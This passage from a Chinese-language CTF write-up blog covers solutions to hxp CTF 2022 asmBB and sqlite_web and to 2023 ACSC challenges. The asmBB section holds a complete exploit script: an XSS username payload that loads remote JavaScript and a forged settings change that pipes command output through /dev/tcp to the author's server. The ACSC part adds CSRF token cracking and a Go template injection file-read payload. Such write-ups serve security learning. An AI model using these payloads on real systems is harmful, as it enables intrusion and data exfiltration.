...</code></pre><figcaption>asmbb/source/chat.asm</figcaption></figure><p>&#x6240;&#x4EE5;&#x6574;&#x500B;&#x5229;&#x7528;&#x6D41;&#x7A0B;&#x662F;</p><ol><li>&#x8A3B;&#x518A; username &#x70BA; XSS payload &#x7684; user</li><li>&#x7528;&#x8A72; user &#x767C;&#x9001;&#x8A0A;&#x606F;&#x5230; chat room</li><li>&#x8ACB; admin &#x700F;&#x89BD; <code>/!chat</code> &#x958B;&#x555F;&#x9A57;&#x8B49;&#x4FE1;&#x529F;&#x80FD;&#x548C;&#x5BEB;&#x5165;&#x60E1;&#x610F; <code>smtp_exec</code> </li><li>&#x518D;&#x6B21;&#x8A3B;&#x518A;&#x9700;&#x8981;&#x4FE1;&#x7BB1;&#x7684; user &#x6216;&#x662F;&#x66F4;&#x6539;&#x73FE;&#x6709; user &#x7684; email &#x4F86;&#x89F8;&#x767C; <code>smtp_exec</code></li></ol><p>asmbb &#x5728;&#x4E00;&#x4E9B;&#x91CD;&#x8981;&#x529F;&#x80FD;&#x6703;&#x7528; <code>ticket</code> &#x4FDD;&#x8B77;&#xFF08;==CSRF Token&#xFF09;&#xFF0C;&#x5728;&#x5404;&#x9801;&#x9762;&#x884C;&#x70BA;&#x6709;&#x9EDE;&#x5DEE;&#x7570;&#xFF0C;&#x6B64;&#x5916;&#x9019;&#x984C;&#x6709;&#x8CA0;&#x8CAC;&#x958B;&#x7368;&#x7ACB;&#x7684; instance &#x7684; instancer &#x670D;&#x52D9;&#x548C; admin bot &#xFF0C;&#x984C;&#x76EE;&#x6A5F;&#x548C; local &#x884C;&#x70BA;&#x5DEE;&#x883B;&#x591A;&#xFF0C;asmBB &#x81EA;&#x8EAB;&#x9084;&#x6709;&#x5E36;&#x6AA2;&#x6E2C; bot &#x529F;&#x80FD;&#xFF0C;&#x932F;&#x8AA4;&#x8A0A;&#x606F;&#x9084;&#x5F88;&#x96A8;&#x8208;&#xFF0C;&#x5728;&#x5BEB;&#x8173;&#x672C;&#x6642;&#x6709;&#x5920;&#x96E3; debug&#xFF0C;&#x96D6;&#x7136;&#x8CFD;&#x4E2D;&#x548C; <em>ginoah</em> &#x5DF2;&#x7D93;&#x60F3;&#x51FA;&#x89E3;&#x7B54;&#x4F46;&#x662F;&#x624B;&#x901F;&#x4E0D;&#x5920;&#x5FEB;&#xFF0C;&#x8CFD;&#x5F8C;&#x5927;&#x6982;&#x56DB;&#x5C0F;&#x6642;&#x624D;&#x5BEB;&#x5B8C;&#x5168;&#x81EA;&#x52D5;&#x5316; exploit QQ </p><figure class="kg-card kg-code-card"><pre><code class="language-python">import requests
import re
import base64
import sys
from pwn import *
from threading import Thread
import os
import subprocess

r = remote(&quot;162.55.216.146&quot;, 9032)
l = r.recvline().decode()
test = re.search(r&apos;unhex\(&quot;(.+?)&quot;&apos;, l)[1]
proof = subprocess.Popen(
    [&quot;./pow-solver&quot;, &quot;20&quot;, test], stdout=subprocess.PIPE
).stdout.read()
r.send(proof)
l = r.recvuntil(b&quot;Please stay connected&quot;).decode()
h = re.search(r&quot;running at http://(.+?) u&quot;, l)[1]
u = re.search(r&quot;Username: (.+?)\n&quot;, l)[1]
p = re.search(r&quot;Password: (.+?)\n&quot;, l)[1]
host = f&quot;http://{u}:{p}@{h}&quot;
print(f&quot;{host=}&quot;)

xss = f&apos;&quot;&gt;&lt;img src=a onerror=&quot;fetch(`http://c.cjis.ooo:7122/`).then(r=&gt;r.text()).then(r=&gt;eval(atob(r)))&quot;&gt;&lt;&quot;&apos;
# xss = f&apos;&quot;&gt;&lt;img src=a onerror=&quot;fetch(`https://static.cjis.ooo/p.txt`).then(r=&gt;r.text()).then(r=&gt;eval(atob(r)))&quot;&gt;&lt;&quot;&apos;
xss = (
    xss.replace(&apos;&quot;&apos;, &quot;\\u0022&quot;)
    .replace(&quot;&gt;&quot;, &quot;\\u003e&quot;)
    .replace(&quot;&lt;&quot;, &quot;\\u003c&quot;)
    .replace(&quot;&apos;&quot;, &quot;\\u0027&quot;)
    .replace(&quot;&amp;&quot;, &quot;\\u0026&quot;)
)


def serve_payload():
    js = f&quot;&quot;&quot;
  fetch(&apos;http://{h}/!settings&apos;)
    .then(r=&gt;r.text())
    .then(r=&gt;{{
      i=r.search(&apos;ticket&apos;);
      fetch(&apos;http://{h}/!settings&apos;,
        {{
          method:&apos;POST&apos;,
          body:&apos;ticket=&apos;+r.substring(i+15,i+47)+
            &apos;&amp;smtp_exec=%2Fusr%2Fbin%2Fbash+-c+%2Freadflag%24IFS&gt;%2Fdev%2Ftcp%2Fc.cjis.ooo%2F1337&apos;+
            &apos;&amp;forum_title=&amp;forum_header=%3Ch1+style%3D%22font-weight%3A+800%22%3EAsmBB%3C%2Fh1%3E%0D%0A%3Cb+style%3D%22text-align%3A+center%22%3EPower%3Cbr%3E%0D%0A%3Csvg+version%3D%221.1%22+width%3D%2264%22+height%3D%2216%22+viewBox%3D%220+0+64+16%22+xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0D%0A+%3Cpath+d%3D%22m0+6+8+10h34l-6-6+28-2-50-8+8+8z%22%2F%3E%0D%0A%3C%2Fsvg%3E%0D%0A%3C%2Fb%3E%0D%0A&amp;description=&amp;keywords=&amp;tabselector=1&amp;host=localhost&amp;smtp_addr=localhost&amp;smtp_port=25&amp;smtp_user=a&amp;email_confirm=on&amp;user_perm=1&amp;user_perm=2&amp;user_perm=4&amp;user_perm=8&amp;user_perm=16&amp;user_perm=64&amp;user_perm=256&amp;user_perm=512&amp;user_perm=1024&amp;post_interval=0&amp;post_interval_inc=0&amp;max_post_length=0&amp;anon_perm=1&amp;anon_perm=2&amp;activate_min_interval=0&amp;default_lang=0&amp;page_length=20&amp;default_skin=Urban+Sunrise&amp;default_mobile_skin=Urban+Sunrise&amp;chat_enabled=on&amp;markups=1&amp;password=&amp;save=Save&apos;,
          headers:{{
            &apos;content-type&apos;:&apos;application/x-www-form-urlencoded&apos;
          }}
        }}
      )
  }});
  &quot;&quot;&quot;
    js = re.sub(r&quot;[\t \r\n]&quot;, &quot;&quot;, js)
    payload = base64.b64encode(js.encode()).decode()
    from flask import Flask, make_response

    app = Flask(__name__)

    @app.route(&quot;/&quot;)
    def a():
        resp = make_response(payload)
        resp.headers[&quot;Access-Control-Allow-Origin&quot;] = &quot;*&quot;
        return resp

    app.run(&quot;0.0.0.0&quot;, 7122)


def do_xss():
    s = requests.session()
    resp = s.get(f&quot;{host}/!register&quot;)
    i = resp.text.find(&quot;ticket&quot;)
    ticket = resp.text[i - 40 : i - 8]
    resp = s.post(
        f&quot;{host}/!register&quot;,
        data={
            &quot;username&quot;: xss,
            &quot;password&quot;: &quot;1&quot; * 8,
            &quot;password2&quot;: &quot;1&quot; * 8,
            &quot;ticket&quot;: ticket,
            &quot;submit.x&quot;: &quot;10310&quot;,
            &quot;submit.y&quot;: &quot;5&quot;,
        },
    )
    print(f&quot;{ticket=}&quot;)

    print(&quot;[*] regist another user aaaaa&quot;)
    resp = s.get(f&quot;{host}/!register&quot;)
    i = resp.text.find(&quot;ticket&quot;)
    ticket = resp.text[i - 40 : i - 8]
    resp = s.post(
        f&quot;{host}/!register&quot;,
        data={
            &quot;username&quot;: &quot;aaaaa&quot;,
            &quot;password&quot;: &quot;1&quot; * 8,
            &quot;password2&quot;: &quot;1&quot; * 8,
            &quot;ticket&quot;: ticket,
            &quot;submit.x&quot;: &quot;10310&quot;,
            &quot;submit.y&quot;: &quot;5&quot;,
        },
    )
    print(f&quot;{ticket=}&quot;)

    resp = s.get(f&quot;{host}/!login&quot;)
    i = resp.text.find(&quot;ticket&quot;)
    ticket = resp.text[i - 40 : i - 8]
    resp = s.post(
        f&quot;{host}/!login&quot;,
        data={
            &quot;username&quot;: xss,
            &quot;password&quot;: &quot;1&quot; * 8,
            &quot;backlink&quot;: &quot;/&quot;,
            &quot;ticket&quot;: ticket,
            &quot;submit.x&quot;: &quot;10321&quot;,
            &quot;submit.y&quot;: &quot;1&quot;,
        },
    )
    print(f&quot;{ticket=}&quot;)

    resp = s.post(
        f&quot;{host}/!chat?session=&quot;, data={&quot;cmd&quot;: &quot;message&quot;, &quot;chat_message&quot;: &quot;a&quot;}
    )
    if &quot;OK&quot; in resp.text:
        print(&quot;[*] XSS Done&quot;)
    else:
        print(&quot;[*] XSS Failed&quot;)
        print(resp.text.encode())


def do_trigger():
    import time

    s = requests.session()

    print(&quot;[*] login aaaaa to trigger rce&quot;)
    resp = s.get(f&quot;{host}/!login&quot;)
    i = resp.text.find(&quot;ticket&quot;)
    ticket = resp.text[i - 40 : i - 8]
    resp = s.post(
        f&quot;{host}/!login&quot;,
        data={
            &quot;username&quot;: &quot;aaaaa&quot;,
            &quot;password&quot;: &quot;1&quot; * 8,
            &quot;backlink&quot;: &quot;/&quot;,
            &quot;ticket&quot;: ticket,
            &quot;submit.x&quot;: &quot;10321&quot;,
            &quot;submit.y&quot;: &quot;1&quot;,
        },
    )

    print(&quot;[*] changeemail!&quot;)
    resp = s.get(f&quot;{host}/!userinfo/aaaaa&quot;)
    i = resp.text.find(&quot;ticket&quot;)
    ticket = resp.text[i + 15 : i + 47]
    resp = s.post(
        f&quot;{host}/!changemail&quot;,
        data={
            &quot;password&quot;: &quot;1&quot; * 8,
            &quot;email&quot;: &quot;aaa@bbb&quot;,
            &quot;changeemail&quot;: &quot;Change email&quot;,
            &quot;ticket&quot;: ticket,
        },
    )
    if &quot;Check your mail&quot; not in resp.text:
        print(&quot;[*] Failed change email: &quot; + resp.text[:100])
        print(f&quot;{ticket=}&quot;)
    else:
        print(&quot;[*] rce triggered!&quot;)


t1 = Thread(target=serve_payload)
t1.daemon = 1
t1.start()

do_xss()

print(&quot;[*]  submit !chat to bot&quot;)
bot = remote(&quot;162.55.216.146&quot;, 9762)
bot.recvuntil(b&quot;Please give instance username: &quot;)
bot.sendline(u.encode())
bot.recvuntil(b&quot;Please give instance password: &quot;)
bot.sendline(p.encode())
bot.recvuntil(b&quot;Please give instance port: &quot;)
bot.sendline(h.split(&quot;:&quot;)[1].encode())
bot.recvuntil(f&quot;http://{h}/&quot;.encode())
bot.sendline(b&quot;!chat&quot;)
print(bot.recvall().decode())
bot.close()
print(&quot;[*] Try to trigger rce&quot;)
l = listen(1337)

do_trigger()

l.interactive()
</code></pre><figcaption>exp.py</figcaption></figure><blockquote>ginoah &#x8981;&#x958B;&#x59CB;&#x5BEB; blog &#x4E86;&#x6C92;</blockquote><h2 id="sqliteweb">sqlite_web</h2><blockquote>ref: ginoah &amp; <a href="https://hxp.io/blog/102/hxp-CTF-2022-sqlite_web/?ref=blog.cjis.ooo">official writeup</a></blockquote><p>&#x9019;&#x984C;&#x7528;&#x4E0A; <a href="https://palletsprojects.com/p/werkzeug/?ref=blog.cjis.ooo">werkzeug</a> &#x7684; temp file &#x6A5F;&#x5236;&#xFF0C;<a href="https://github.com/pallets/werkzeug/blob/main/src/werkzeug/formparser.py?ref=blog.cjis.ooo#L56">&#x8D85;&#x904E; 500kB &#x6703;&#x5BEB;&#x6A94;</a>&#xFF0C;&#x518D;&#x900F;&#x904E; SQLite <code>load_extension</code> &#x89F8;&#x767C; RCE&#xFF0C;&#x9019;&#x88E1;&#x6A94;&#x6848;&#x76F4;&#x63A5;&#x900F;&#x904E; <code>/proc/self/fd/xx</code> &#x5B58;&#x53D6;&#x3002;</p><p></p>]]></content:encoded></item><item><title><![CDATA[2023 ACSC CTF Qual Writeup]]></title><description><![CDATA[<p>&#x9019;&#x6B21;&#x8CFD;&#x7A0B;&#x53EA;&#x6709; 24 hr &#xFF0C;&#x984C;&#x76EE;&#x7684;&#x96E3;&#x5EA6;&#x90FD;&#x633A;&#x9AD8;&#xFF0C;&#x6BCF;&#x500B;&#x90FD;&#x53C3;&#x96DC;&#x4E00;&#x4E9B;&#x5BC6;&#x78BC;&#x5B78;&#xFF0C;&#x4E5F;&#x8A31;&#x662F;&#x56E0;&#x70BA;&#x4E9E;&#x6D32;&#x8CFD;&#x5340;&#x5927;&#x5BB6;&#x6578;&#x5B78;&#x90FD;&#x5F88;&#x597D;&#x5427;&#xFF0C;&#x6211;&#x597D;&#x4E0D;</p>]]></description><link>https://blog.cjis.ooo/2023-acsc-ctf-qual-writeup/</link><guid isPermaLink="false">63fb6ae93ae52c0001cd68a6</guid><category><![CDATA[writeup]]></category><dc:creator><![CDATA[cjiso1117]]></dc:creator><pubDate>Sun, 26 Feb 2023 15:38:24 GMT</pubDate><content:encoded><![CDATA[<p>&#x9019;&#x6B21;&#x8CFD;&#x7A0B;&#x53EA;&#x6709; 24 hr &#xFF0C;&#x984C;&#x76EE;&#x7684;&#x96E3;&#x5EA6;&#x90FD;&#x633A;&#x9AD8;&#xFF0C;&#x6BCF;&#x500B;&#x90FD;&#x53C3;&#x96DC;&#x4E00;&#x4E9B;&#x5BC6;&#x78BC;&#x5B78;&#xFF0C;&#x4E5F;&#x8A31;&#x662F;&#x56E0;&#x70BA;&#x4E9E;&#x6D32;&#x8CFD;&#x5340;&#x5927;&#x5BB6;&#x6578;&#x5B78;&#x90FD;&#x5F88;&#x597D;&#x5427;&#xFF0C;&#x6211;&#x597D;&#x4E0D;&#x5BB9;&#x6613;&#x89E3;&#x5B8C;&#x6578;&#x5B78;&#x7684;&#x90A3;&#x4E9B;&#x984C;&#x76EE;&#x90FD;&#x5DF2;&#x7D93;&#x8D85;&#x904E;&#x4E8C;&#x5341;&#x968A;&#x89E3;&#xFF0C;&#x6700;&#x5F8C;&#x624D; 56 th &#x4E0D;&#x80FD;&#x51FA;&#x570B;&#x73A9;QQQQ &#x4E9E;&#x6D32;&#x4EBA;&#x4E4B;&#x6065;...</p><p>&#x984C;&#x76EE;&#x90FD;&#x76F8;&#x7576;&#x597D;&#x73A9;&#xFF0C;&#x552F;&#x4E00;&#x7F3A;&#x9EDE;&#x662F;&#x6642;&#x9593;&#x592A;&#x5C11;&#x4F86;&#x4E0D;&#x53CA;&#x770B;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.cjis.ooo/content/images/2023/02/image-2.png" class="kg-image" alt loading="lazy" width="1161" height="588" srcset="https://blog.cjis.ooo/content/images/size/w600/2023/02/image-2.png 600w, https://blog.cjis.ooo/content/images/size/w1000/2023/02/image-2.png 1000w, https://blog.cjis.ooo/content/images/2023/02/image-2.png 1161w" sizes="(min-width: 720px) 720px"><figcaption>&#x1F341;&lt;(_ _)&gt;</figcaption></figure><h1 id="web">Web</h1><h2 id="admin-dashboard">Admin Dashboard</h2><p>&#x984C;&#x76EE;&#x9700;&#x8981;&#x5F97;&#x5230; admin &#x6B0A;&#x9650;&#x4F86;&#x700F;&#x89BD; index &#x7372;&#x5F97; flag&#x3002;&#x6709;&#x500B;&#x767B;&#x5165;&#x5F8C;&#x53EF;&#x4EE5; report &#x7684;&#x529F;&#x80FD;&#xFF0C;&#x9084;&#x6709;&#x4E00;&#x500B;&#x53D7; CSRF Token &#x4FDD;&#x8B77;&#x7684; addadmin &#x9801;&#x9762;&#x53EF;&#x4EE5;&#x5C07;&#x5E33;&#x865F;&#x63D0;&#x5347;&#x70BA; admin</p><figure class="kg-card kg-code-card"><pre><code class="language-php">&lt;?php
	if(isset($_POST[&apos;url&apos;])){
    	if (filter_var($_POST[&apos;url&apos;], FILTER_VALIDATE_URL) &amp;&amp; preg_match(&quot;^http(s)?^&quot;,parse_url($_POST[&apos;url&apos;], PHP_URL_SCHEME))) {
        	$return_value = 1;
        	system(&quot;node /bot/bot.js &quot;.urlencode($_POST[&apos;url&apos;]),$return_value);
...</code></pre><figcaption>report.php</figcaption></figure><p>report.php &#x7684; <code>system</code> &#x88E1;&#x53EF;&#x4EE5;&#x932F;&#x8AA4;&#x56DE;&#x986F;&#x9020;&#x6210; XSS&#xFF0C;&#x958B;&#x500B; socket server &#x96A8;&#x4FBF;&#x50B3;&#x500B;&#x6771;&#x897F;&#x8B93; HTTP Response &#x89E3;&#x6790;&#x58DE;&#x6389;&#x5373;&#x53EF;</p><figure class="kg-card kg-code-card"><pre><code>	Error: net::ERR_INVALID_HTTP_RESPONSE at http://c.cjis.ooo:8788/asd
    at navigate (/bot/node_modules/puppeteer-core/lib/cjs/puppeteer/common/Frame.js:240:23)
    at processTicksAndRejections (internal/process/task_queues.js:95:5)
    at async Frame.goto (/bot/node_modules/puppeteer-core/lib/cjs/puppeteer/common/Frame.js:206:21)
    at async CDPPage.goto (/bot/node_modules/puppeteer-core/lib/cjs/puppeteer/common/Page.js:439:16)</code></pre><figcaption>&#x56DE;&#x986F;</figcaption></figure><p>flag &#x4F4D;&#x65BC; admin &#x767B;&#x5165;&#x5F8C;&#x7684;&#x9996;&#x9801;&#xFF0C;&#x4EE5;&#x524D;&#x4F7F;&#x7528;&#x591A;&#x500B; iframe &#x767B;&#x5165;&#x4E0D;&#x540C;&#x5E33;&#x865F;&#x9020;&#x6210; XSS &#x518D;&#x8DE8; iframe &#x8B80;&#x53D6;&#x7684;&#x6253;&#x6CD5;&#x5DF2;&#x7D93;&#x5931;&#x6548;&#xFF0C;&#x73FE;&#x5728; chrome &#x9810;&#x8A2D; cookie SameSite &#x70BA; lax&#xFF0C;&#x4F46;&#x662F; iframe &#x53EA;&#x80FD;&#x5BEB;&#x5165; none &#x5C6C;&#x6027;&#x7684; cookie&#xFF0C;&#x4E00;&#x500B; rabbit hole&#x3002;</p><p>&#x53EA;&#x80FD;&#x4E56;&#x4E56;&#x7834;&#x89E3; CSRF Token&#xFF0C;&#x751F;&#x7522;&#x65B9;&#x5F0F;&#x5927;&#x6982;&#x5982;&#x4E0B;</p><pre><code># u1,u2 &#x900F;&#x904E;&#x81EA;&#x884C;&#x8A3B;&#x518A;&#x7684;&#x5169;&#x500B; username &#x8F49;&#x63DB;&#xFF0C;&#x70BA;&#x5DF2;&#x77E5;
# a,c &#x672A;&#x77E5;
# sx1,sx2 &#x662F; csrf token
# M &#x6A21;&#x6578; &#x56FA;&#x5B9A;&#x5DF2;&#x77E5;&#xFF0C;&#x4EE5;&#x4E0B;&#x90FD;&#x662F;&#x6A21;&#x904B;&#x7B97;
a*u1+c = sx1
a*u2+c = sx2
a = (sx2-sx1)/(u2-u1)
c = sx1-(a*u1)</code></pre><p>&#x525B;&#x597D; addadmin &#x9801;&#x9762;&#x7684; username&#x3001;CSRF Token &#x900F;&#x904E; <code>$_REQUEST</code> &#x62FF;&#x53D6;&#xFF0C;&#x63D0;&#x4EA4; <a href="http://localhost/addadmin?username=cjiso&amp;password=7122&amp;csrf-token=1fe69abb084e42434627a84405d722e0&amp;ref=blog.cjis.ooo"><code>http://localhost/addadmin?username=cjiso&amp;password=7122&amp;csrf-token=1fe69abb084e42434627a84405d722e0</code></a> </p><p>&#x5373;&#x53EF; &#xFF0C; flag <code>ACSC{C$rF_15_3VerYwh3Re!}</code></p><h2 id="easyssti">easySSTI</h2><p>&#x4E00;&#x500B;&#x53EF;&#x4EE5;&#x50B3;&#x5165;&#x4EFB;&#x610F; template &#x7684; Golang SSTI&#xFF0C;&#x56DE;&#x50B3;&#x5167;&#x5BB9;&#x9700;&#x8981;&#x7E5E;&#x904E; WAF</p><pre><code>    if (/ACSC\{.*\}/.test(data)) {
      return reply.code(403).send(&quot;??&quot;)
    }
</code></pre><p>Golang Template &#x53EF;&#x4EE5;&#x901A;&#x904E;&#x7576;&#x524D; &#xA0;<code>.</code> &#x4F86;&#x5B58;&#x53D6;&#x5176;&#x4ED6;&#x5C6C;&#x6027;&#xFF0C;&#x4E26;&#x4E14;&#x53EF;&#x4EE5;&#x628A;&#x5C6C;&#x6027;&#x7576;&#x4F5C;&#x51FD;&#x5F0F;&#x547C;&#x53EB;&#xFF0C;&#x9019;&#x984C;&#x5C31;&#x7FFB;&#x7FFB; source code &#x627E;&#x5229;&#x7528;&#x93C8;&#xFF0C;&#x500B;&#x4EBA;&#x611F;&#x89BA; Golang &#x76F8;&#x5C0D;&#x5176;&#x4ED6;&#x8A9E;&#x8A00;&#x597D;&#x627E;&#xFF0C;&#x6C92;&#x6709;&#x4E00;&#x5806;&#x5947;&#x602A;&#x7684; magic&#x3002;&#x7FFB;&#x95B1; <a href="https://github.com/labstack/echo/blob/v4.10.0/context.go?ref=blog.cjis.ooo#L19">echo source code</a> &#x53EF;&#x4EE5;&#x627E;&#x5230;&#x4E00;&#x689D; <code>.Echo.Filesystem.Open</code> &#x6253;&#x958B; flag &#xFF0C;&#x63A5;&#x8457;&#x5728; <code>$x.Read</code> &#x5361;&#x5F88;&#x4E45;&#xFF0C;&#x56E0;&#x70BA;&#x53C3;&#x6578;&#x9700;&#x8981; <code>[]byte</code> &#x7684;&#x8B8A;&#x6578;&#xFF0C;&#x96D6;&#x7136;&#x53EF;&#x4EE5;&#x5BA3;&#x544A;&#x8B8A;&#x6578;&#x548C;&#x4F7F;&#x7528;&#x90E8;&#x5206;&#x51FD;&#x5F0F;&#xFF0C;&#x4F46;&#x662F;&#x751F;&#x6210;&#x4EFB;&#x610F;&#x578B;&#x614B;&#x8B8A;&#x6578;&#x5C31;&#x76F8;&#x7576;&#x56F0;&#x96E3;&#xFF0C;&#x9019;&#x90E8;&#x5206;&#x4E5F;&#x8A31;&#x662F;&#x53EF;&#x4EE5;&#x6DF1;&#x5165;&#x7814;&#x7A76;&#x7684;&#x9EDE;&#x3002;&#x6700;&#x5F8C;&#x662F;&#x60F3;&#x8D77;&#x984C;&#x76EE; <code>context</code> &#x672C;&#x8EAB;&#x6709;&#x5BA3;&#x544A; <code>template</code> &#x4F5C;&#x70BA; buffer &#xA0;&#x525B;&#x597D;&#x53EF;&#x4EE5;&#x62FF;&#x4F86;&#x7528;&#xFF0C;&#x518D;&#x642D;&#x914D; <code>slice</code> &#x53BB;&#x982D;&#x3002;</p><pre><code>{{$y := .Get &quot;template&quot; }}{{ $x := .Echo.Filesystem.Open &quot;/flag&quot;}}  {{$x.Read $y}} {{slice $y 1 40 | .HTMLBlob 200}}</code></pre><p>flag <code>ACSC{h0w_did_y0u_leak_me}</code></p><p>&#x984C;&#x5916;&#x8A71;&#xFF0C;&#x6211;&#x7814;&#x7A76;&#x4E86;&#x597D;&#x4E45;&#x9084;&#x662F;&#x4E0D;&#x77E5;&#x9053;&#x600E;&#x9EBC;&#x76F4;&#x63A5;&#x628A;&#x51FD;&#x5F0F;&#x56DE;&#x50B3;&#x503C;&#x505A;&#x70BA;&#x53C3;&#x6578;&#xFF0C;&#x5148;&#x5B58;&#x4E00;&#x4E0B; &#x1F341; &#x7684; payload &#xFF0C;&#x795E;&#x5947;&#x8A9E;&#x6CD5;</p><p><code>{{ (.Echo.Filesystem.Open &quot;/flag&quot;).Read (.Get &quot;template&quot;) }} {{ .Get &quot;template&quot; }}</code></p><blockquote>A parenthesized instance of one the above, for grouping. The result may be accessed by a field or map key invocation. print (.F1 arg1) (.F2 arg2) (.StructValuedMethod &quot;arg&quot;).Field</blockquote><h2 id="gotion">Gotion</h2><p>&#x8CFD;&#x4E2D;&#x6C92;&#x89E3;&#x51FA;&#x4F86;&#xFF0C;&#x770B;&#x4ED6;&#x7D66;&#x7684;&#x984C;&#x793A;&#x5927;&#x81F4;&#x731C;&#x5230;&#x8981;&#x900F;&#x904E; Nginx Byte-Range Caching &#x628A;&#x9810;&#x8A2D;&#x7D66;&#x7684; mp4 &#x6A94;&#x6848;&#x5F04;&#x51FA;&#x4E00;&#x500B;&#x5408;&#x6CD5;&#x7684; XSS payload&#xFF0C;&#x4F46;&#x662F;&#x5728; Qtime &#x5FEB;&#x51B7;&#x6B7B;&#x53C8;&#x5FEB;&#x65E5;&#x51FA;&#xFF0C;&#x770B;&#x4E86;&#x534A;&#x5929;&#x60F3;&#x4E0D;&#x51FA;&#x600E;&#x9EBC; cache poisoning QQ</p><p>&#x883B;&#x6709;&#x8DA3;&#x7684;&#x984C;&#x76EE;&#x5F85;&#x7814;&#x7A76; TODO</p><h2 id="10av-%F0%9F%8D%8A">10av &#x1F34A;</h2><p>&#x8CFD;&#x4E2D;&#x6C92;&#x89E3;&#x51FA;&#x4F86;&#xFF0C;&#x6383;&#x904E;&#x53BB;&#x6709;&#x958B;&#x4E00;&#x5806;&#x5947;&#x602A;&#x7684;&#x9632;&#x6BD2;&#x548C;&#x90F5;&#x4EF6;&#x670D;&#x52D9;&#xFF0C;&#x770B;&#x8D77;&#x4F86;&#x4E00;&#x81C9;&#x4E0A;&#x50B3;&#x6A94;&#x6848;&#x6233;&#x670D;&#x52D9;&#x9054;&#x5230; RCE&#xFF0C;&#x4F46;&#x662F;&#x4F86;&#x4E0D;&#x53CA;&#x770B;&#x6587;&#x6A94;QQ</p><h1 id="crypto">Crypto</h1><h2 id="merkle-hellman">Merkle Hellman</h2><p>&#x984C;&#x76EE;&#x5C31;&#x662F; <a href="https://en.wikipedia.org/wiki/Merkle%E2%80%93Hellman_knapsack_cryptosystem?ref=blog.cjis.ooo">Merkle&#x2013;Hellman knapsack cryptosystem</a> &#xFF0C;&#x76F4;&#x63A5;&#x7D66; public key&#x3001;private key&#x3001;ciphertext&#x3001;mod number&#xFF0C;&#x4F9D;&#x7167; wiki &#x7684;&#x89E3;&#x5BC6;&#x6CD5;&#x61C9;&#x8A72;&#x80FD;&#x89E3;&#xFF0C;&#x4F46;&#x662F;&#x6211;&#x6578;&#x5B78;&#x4E0D;&#x597D;&#x611F;&#x89BA;&#x5BE6;&#x4F5C;&#x6709;&#x9EDE;&#x9EBB;&#x7169;&#xFF0C;&#x5F8C;&#x4F86;&#x60F3;&#x5230;&#x4E00;&#x6B21;&#x4E00;&#x500B; byte &#x66B4;&#x529B;&#x7834;&#x89E3; &#xA0; </p><figure class="kg-card kg-code-card"><pre><code class="language-python">#!/usr/bin/env python3
import random
import binascii


b = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
w = [184, 332, 713, 1255, 2688, 5243, 10448]
q = 20910

r = 0
for i in range(1, 20910):
    found = True
    for j in range(7):
        if w[j] * i % q != b[j]:
            found = False
            break
    if found:
        r = i
print(f&quot;{r=}&quot;)
# Encrypting
flag = [
    8436,
    22465,
    30044,
    22465,
    51635,
    10380,
    11879,
    50551,
    35250,
    51223,
    14931,
    25048,
    7352,
    50551,
    37606,
    39550,
]
c = []
for f in flag:
    found = False
    for j in range(256):
        s = 0
        for i in range(7):
            if j &amp; (64 &gt;&gt; i):
                s += b[i]
        print(f&quot;{s=}&quot;)
        if s == f:
            found = True
            print(f&quot;found: {chr(j)}&quot;)
            c.append(chr(j))
            print(c)
            break
    if not found:
        print(&quot;fail&quot;)
        break
print(&quot;&quot;.join(c))
# Public Key = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
# Private Key = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910)
# Ciphertext = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]
# ACSC{E4zY_P3@zy}</code></pre><figcaption>decrypt.py</figcaption></figure><h1 id="reverse-function reverse() { [native code] }1">Reverse</h1><h2 id="serverless">serverless</h2><p>&#x9019;&#x984C;&#x5C31;&#x6162;&#x6162;&#x89E3; javascript &#x6DF7;&#x6DC6;&#xFF0C;&#x7136;&#x5F8C;&#x770B;&#x61C2;&#x4ED6;&#x5728;&#x505A; RSA &#x52A0;&#x5BC6;</p><p>&#x6709;&#x500B;&#x8981;&#x770B;&#x597D;&#x4E00;&#x9663;&#x5B50;&#x7684;&#x662F;&#x9019;&#x500B;&#x505A;&#x5FEB;&#x901F;&#x51AA;&#x7684;&#x51FD;&#x5F0F;</p><pre><code class="language-javascript">  function w(ps1, n2_1_1, pq1) {
    if (n2_1_1 === 0) return 0x1n
    return n2_1_1 % 2 === 0 ? w((ps1 * ps1) % pq1, n2_1_1 / 2, pq1) : (ps1 * w(ps1, n2_1_1 - 1, pq1)) % pq1
  }
</code></pre><blockquote>&#x6709;&#x4EBA;&#x4E1F;&#x5230; ChatGPT &#x5C31;&#x77E5;&#x9053;&#x662F;&#x5FEB;&#x901F;&#x51AA; Orz </blockquote><p>flag <code>ACSC{warmup_challenge_so_easy}</code></p><h2 id="ngo">ngo</h2><p>&#x8CFD;&#x4E2D;&#x6C92;&#x89E3;&#x51FA;&#x4F86;&#xFF0C;&#x7A0B;&#x5F0F;&#x672C;&#x8EAB;&#x4E3B;&#x52D5;&#x89E3;&#x5BC6;&#x9001; flag&#xFF0C;&#x9006;&#x5B8C;&#x6703;&#x767C;&#x73FE;&#x6709;&#x500B;&#x89E3;&#x5BC6;&#x8FF4;&#x5708;&#x6B21;&#x6578;&#x662F;&#x6307;&#x6578;&#x6210;&#x9577;&#xFF0C;&#x5C0E;&#x81F4;&#x89E3;&#x5BC6;&#x7A0B;&#x5F0F;&#x8DD1;&#x4E0D;&#x5B8C;&#xFF0C;&#x8FF4;&#x5708;&#x5167;&#x5728;&#x8A08;&#x7B97;&#x9019;&#x500B; <code>a</code></p><p><code>a = a &gt;&gt; 1 ^ -(a &amp; 1) &amp; a</code></p><p>&#x611F;&#x89BA;&#x50CF; LFSR &#xFF0C;&#x4F46;&#x5FD8;&#x8A18; LFSR &#xA0;state &#x6709;&#x5FAA;&#x74B0;&#x7684;&#x7279;&#x6027; <code>(f^n)(a) == a</code> &#x53EF;&#x4EE5;&#x52A0;&#x901F;&#x904B;&#x7B97;&#xFF0C;&#x7576;&#x6642;&#x731C;&#x6E2C; <code>a</code> &#x6709;&#x5FAA;&#x74B0;&#xFF0C;&#x71AC;&#x591C;&#x660F;&#x982D;&#x628A;&#x7BC4;&#x570D;&#x8A2D; 10000 &#x800C;&#x5DF2;&#x5C31;&#x627E;&#x4E0D;&#x5230;&#x5FAA;&#x74B0; 